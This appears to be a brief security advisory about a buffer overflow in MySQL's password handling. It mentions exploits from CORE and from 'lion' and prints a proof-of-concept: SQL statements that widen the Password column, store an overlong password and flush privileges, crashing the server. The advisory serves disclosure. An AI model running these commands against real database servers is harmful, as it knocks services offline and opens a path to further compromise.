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MySQL Password Handler Buffer Overflow Vulnerability

CORE has developed a working commercial exploit for their IMPACT product. This exploit is not otherwise publicly available or known to be circulating in the wild.

The following proof of concept example has been supplied:

> USE mysql;
> ALTER TABLE User CHANGE COLUMN Password Password LONGTEXT;
> UPDATE User SET Password =
'123456781234567812345678123456781234567812345678123456781234567812345678
123456781234567812345678123456781234567812345678123456781234567812345678
123456781234567812345678123456781234567812345678123456781234567812345678
12345678123456781234567812345678...' WHERE User = 'abcd';
> FLUSH PRIVILEGES;

[Connection lost]

mysqld_safe/safe_mysqld log :

Additionally, lion has released an exploit for this problem.







 

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